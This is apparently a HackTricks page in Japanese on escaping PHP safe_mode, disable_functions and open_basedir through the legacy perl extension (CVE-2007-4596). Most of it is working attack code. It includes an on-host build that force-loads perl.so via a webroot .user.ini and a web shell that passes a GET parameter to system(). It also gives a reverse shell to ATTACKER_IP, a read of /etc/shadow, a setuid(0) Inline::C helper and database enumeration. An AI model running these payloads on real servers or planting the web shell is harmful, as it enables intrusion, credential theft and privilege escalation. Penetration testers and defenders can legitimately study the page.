PHP Perl Extension Safe_mode Bypass Exploit

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

背景

問題は CVE-2007-4596 として追跡されており、レガシーな perl PHP 拡張に起因します。この拡張は完全な Perl インタプリタを埋め込み、PHP の safe_modedisable_functionsopen_basedir といった制御を無視します。extension=perl.so を読み込む任意の PHP ワーカーは無制限の Perl eval を持つため、従来の PHP によるプロセス生成プリミティブがすべてブロックされていてもコマンド実行は容易です。safe_mode は PHP 5.4 で廃止されましたが、古い共有ホスティング環境や脆弱なラボでは今でも残っているため、レガシーなコントロールパネルにアクセスした際にはこのバイパスは依然有効です。

互換性とパッケージ状況 (2025)

  • 最後の PECL リリース (perl-1.0.1, 2013) は PHP ≥5.0 を対象としており、Zend API の変更により PHP 8+ では一般に動作しません。
  • PECL は PIE に置き換えられつつありますが、古いスタックではまだ PECL/pear が搭載されています。PHP 5/7 のターゲットでは以下の手順を使用してください。新しい PHP ではダウングレードするか、別の注入経路(例えば userland FFI)に切り替える必要があります。

2025年にテスト可能な環境の構築

  • PECL から perl-1.0.1 を取得し、攻撃対象の PHP ブランチ向けにコンパイルして、グローバルに (php.ini) または dl() 経由で読み込んでください(許可されている場合)。
  • 簡易 Debian ベースのラボ手順:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • 攻撃中は var_dump(extension_loaded('perl'));print_r(get_loaded_extensions()); で利用可能か確認してください。存在しない場合は perl.so を探すか、書き込み可能な php.ini/.user.ini エントリを悪用して強制ロードしてください。
  • インタプリタが PHP ワーカー内に存在するため、外部バイナリは不要です — ネットワーク出口フィルタや proc_open のブラックリストは無関係です。

phpize にアクセス可能な場合のオンホストビルドチェーン

もし侵害されたホストに phpize と build-essential が揃っているなら、OS にシェルを出すことなく perl.so をコンパイルして配置できます:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

もし open_basedir が強制されている場合、配置した .user.ini.so が許可されたパスに存在することを確認してください;extension= ディレクティブは basedir 内でも引き続き尊重されます。コンパイルの流れは、PECL 拡張をビルドするための PHP マニュアルに沿っています。

Original PoC (NetJackal)

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/、拡張が eval に応答することを確認するのにまだ便利です:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

モダンなペイロード強化

1. Full TTY over TCP

組み込みインタプリタは、/usr/bin/perl がブロックされていても IO::Socket をロードできます:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. open_basedir が有効でもファイルシステム脱出

Perl は PHP の open_basedir を無視するため、任意のファイルを読み取れます:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

出力を IO::Socket::INET または Net::HTTP にパイプして、PHP 管理のディスクリプタに触れずにデータを exfiltrate する。

3. Inline Compilation for Privilege Escalation

もし Inline::C がシステム全体に存在するなら、PHP の ffipcntl に頼らず、リクエスト内でヘルパーをコンパイルする:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

PerlをLOLBAS toolkitとして扱う—例えば、mysqliが存在しなくてもMySQL DSNsをダンプする:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする